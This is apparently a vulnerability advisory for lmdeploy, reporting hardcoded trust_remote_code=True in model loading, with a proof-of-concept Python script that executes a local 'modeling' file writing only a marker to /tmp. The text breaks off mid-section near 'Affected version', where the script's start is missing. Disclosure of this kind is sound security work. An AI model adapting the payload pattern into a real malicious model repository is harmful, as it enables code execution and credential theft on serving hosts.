LMDeploy: Arbitrary code execution via hardcoded trust_remote_code=True in lmdeploy model initialization

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy  None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.